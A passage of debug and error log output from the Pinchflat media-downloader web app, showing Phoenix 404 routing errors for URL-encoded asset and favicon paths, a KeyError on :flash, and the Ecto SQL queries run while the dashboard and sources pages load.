host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11454.0>, params: %{}, path_info: ["assets", "app-84c55c57753816656f5134f541d32ba5"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4BUcfG6jzQYAAL7h"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /assets/app-84c55c57753816656f5134f541d32ba5 (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11453.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/assets/app-84c55c57753816656f5134f541d32ba5.css%3Fvsn%3Dd", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 18976}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key (truncated) 21:17:44.450 [info] GET / 21:17:44.453 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 21:17:44.470 [info] GET /favicon.ico%3Fcachebust%3D2024-03-20 21:17:44.471 [debug] QUERY OK source="settings" db=2.1ms queue=0.1ms idle=463.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.473 [debug] QUERY OK source="settings" db=2.1ms idle=465.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.476 [debug] QUERY OK source="media_profiles" db=3.3ms queue=0.1ms idle=466.1ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 21:17:44.477 [debug] QUERY OK source="settings" db=2.9ms queue=1.4ms idle=232.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.478 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:17:44.480 [debug] QUERY OK source="sources" db=3.2ms queue=0.5ms idle=231.4ms SELECT count(s0."id") FROM "sources" AS s0 [] 21:17:44.483 [debug] QUERY OK source="media_items" db=2.4ms queue=0.9ms idle=8.6ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:44.487 [debug] QUERY OK source="media_items" db=2.1ms queue=1.0ms idle=10.9ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:44.491 [debug] QUERY OK source="settings" db=1.8ms queue=0.3ms idle=13.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.494 [debug] QUERY OK source="settings" db=1.4ms queue=0.1ms idle=14.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.497 [debug] QUERY OK source="settings" db=1.4ms queue=0.3ms idle=15.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.503 [debug] QUERY OK source="tasks" db=1.9ms queue=0.5ms idle=17.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 21:17:44.507 [debug] QUERY OK source="media_items" db=1.2ms queue=0.7ms idle=17.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 21:17:44.513 [debug] QUERY OK source="media_items" db=4.0ms queue=0.3ms idle=17.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:44.515 [debug] QUERY OK source="sources" db=2.2ms idle=19.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [6] 21:17:44.489 [error] #PID<0.11457.0> running PinchflatWeb.Endpoint (connection #PID<0.11456.0>, stream id 1) terminated Server: rutube.spluft.ru:80 (http) Request: GET /favicon.ico%3Fcachebust%3D2024-03-20 ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /favicon (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.ico%3Fcachebust%3D2024-03-20", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, halted: false, host: "rutube.spluft.ru", method: "GET", owner: #PID<0.11457.0>, params: %{}, path_info: ["favicon"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://rutube.spluft.ru", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 1, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI" }, req_headers: [ {"accept", "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7"}, {"accept-encoding", "gzip, deflate, br"}, {"accept-language", "en-US,en;q=0.9"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI"}, {"host", "rutube.spluft.ru"}, {"sec-ch-ua", "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111"}, {"sec-fetch-mode", "navigate"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36"}, {"via", "1.1 Caddy"}, {"x-forwarded-for", "103.4.250.146"}, {"x-forwarded-host", "rutube.spluft.ru"}, {"x-forwarded-proto", "https"} ], request_path: "/favicon.ico%3Fcachebust%3D2024-03-20", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GH-e4CQ9WaM968sAAK3j"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.ico%3Fcachebust%3D2024-03-20", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\";v=\"111\", \"Not(A:Brand\";v=\"8\", \"Chromium\";v=\"111", "sec-fetch-mode" => "navigate", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36", "via" => "1.1 Caddy", "x-forwarded-for" => "103.4.250.146", "x-forwarded-host" => "rutube.spluft.ru", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /favicon (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.11456.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/favicon.ico%3Fcachebust%3D2024-03-20", host: "rutube.spluft.ru", peer: {{192, 168, 1, 1}, 26818}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "accept-encoding" => "gzip, deflate, br", "accept-language" => "en-US,en;q=0.9", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYUVZxR2l6MS03Y1RDcnBoVExFTk5zQ3hE.iZwVtGkYHdOKO6d-Z-pvYWghwAtZdRBfgKJR9kKw-uI", "host" => "rutube.spluft.ru", "sec-ch-ua" => "Google Chrome\"; (truncated) 21:17:44.525 [debug] QUERY OK source="media_items" db=3.3ms idle=24.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 21:17:44.528 [debug] QUERY OK source="media_items" db=1.9ms queue=0.8ms idle=22.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 21:17:44.530 [info] Sent 200 in 80ms 21:17:44.582 [info] GET /sources 21:17:44.582 [debug] Processing with PinchflatWeb.Sources.SourceController.index/2 Parameters: %{} Pipelines: [:browser] 21:17:44.589 [debug] QUERY OK source="settings" db=1.3ms queue=0.1ms idle=74.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.596 [debug] QUERY OK source="settings" db=4.9ms queue=1.1ms idle=74.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.598 [debug] QUERY OK source="settings" db=0.5ms queue=0.1ms idle=71.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.602 [debug] QUERY OK source="settings" db=0.4ms queue=1.1ms idle=72.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.606 [debug] QUERY OK source="settings" db=1.0ms queue=0.1ms idle=61.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:17:44.643 [debug] QUERY OK source="sources" db=30.7ms queue=0.1ms idle=23.3ms SELECT count(s0."id") FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR regexp_like(sm0."title", ss1."title_filter_regex"))) AND (((ss1."min_duration_seconds" IS NULL) OR duration_seconds >= ss1."min_duration_seconds") AND ((ss1."max_duration_seconds" IS NULL) OR duration_seconds <= ss1."max_duration_seconds"))) GROUP BY sm0."source_id") AS s3 ON (s3."source_id" = s0."id") AND (s2."source_id" = s0."id") WHERE ((s0."marked_for_deletion_at" IS NULL) AND (m1."marked_for_deletion_at" IS NULL)) [] 21:17:44.654 [debug] QUERY OK source="sources" db=3.8ms queue=0.1ms idle=53.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", coalesce(s2."downloaded_count", 0), coalesce(s3."pending_count", 0), coalesce(s2."media_size_bytes", 0), m1."id", m1."name", m1."redownload_delay_days", m1."output_path_template", m1."download_subs", m1."download_auto_subs", m1."embed_subs", m1."sub_langs", m1."download_thumbnail", m1."embed_thumbnail", m1."download_source_images", m1."download_metadata", m1."embed_metadata", m1."download_nfo", m1."sponsorblock_behaviour", m1."sponsorblock_categories", m1."shorts_behaviour", m1."livestream_behaviour", m1."audio_track", m1."preferred_resolution", m1."media_container", m1."marked_for_deletion_at", m1."inserted_at", m1."updated_at" FROM "sources" AS s0 INNER JOIN "media_profiles" AS m1 ON m1."id" = s0."media_profile_id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "downloaded_count", sm0."source_id" AS "source_id", sum(sm0."media_size_bytes") AS "media_size_bytes" FROM "media_items" AS sm0 WHERE (NOT (sm0."media_filepath" IS NULL)) GROUP BY sm0."source_id") AS s2 ON s2."source_id" = s0."id" LEFT OUTER JOIN (SELECT count(sm0."id") AS "pending_count", sm0."source_id" AS "source_id" FROM "media_items" AS sm0 INNER JOIN "sources" AS ss1 ON ss1."id" = sm0."source_id" INNER JOIN "media_profiles" AS sm2 ON sm2."id" = ss1."media_profile_id" WHERE (((((NOT (NOT (sm0."media_filepath" IS NULL)) AND NOT (sm0."prevent_download" = 1)) AND ((ss1."download_cutoff_date" IS NULL) OR date(sm0."uploaded_at") >= ss1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((ss1."title_filter_regex" IS NULL) OR 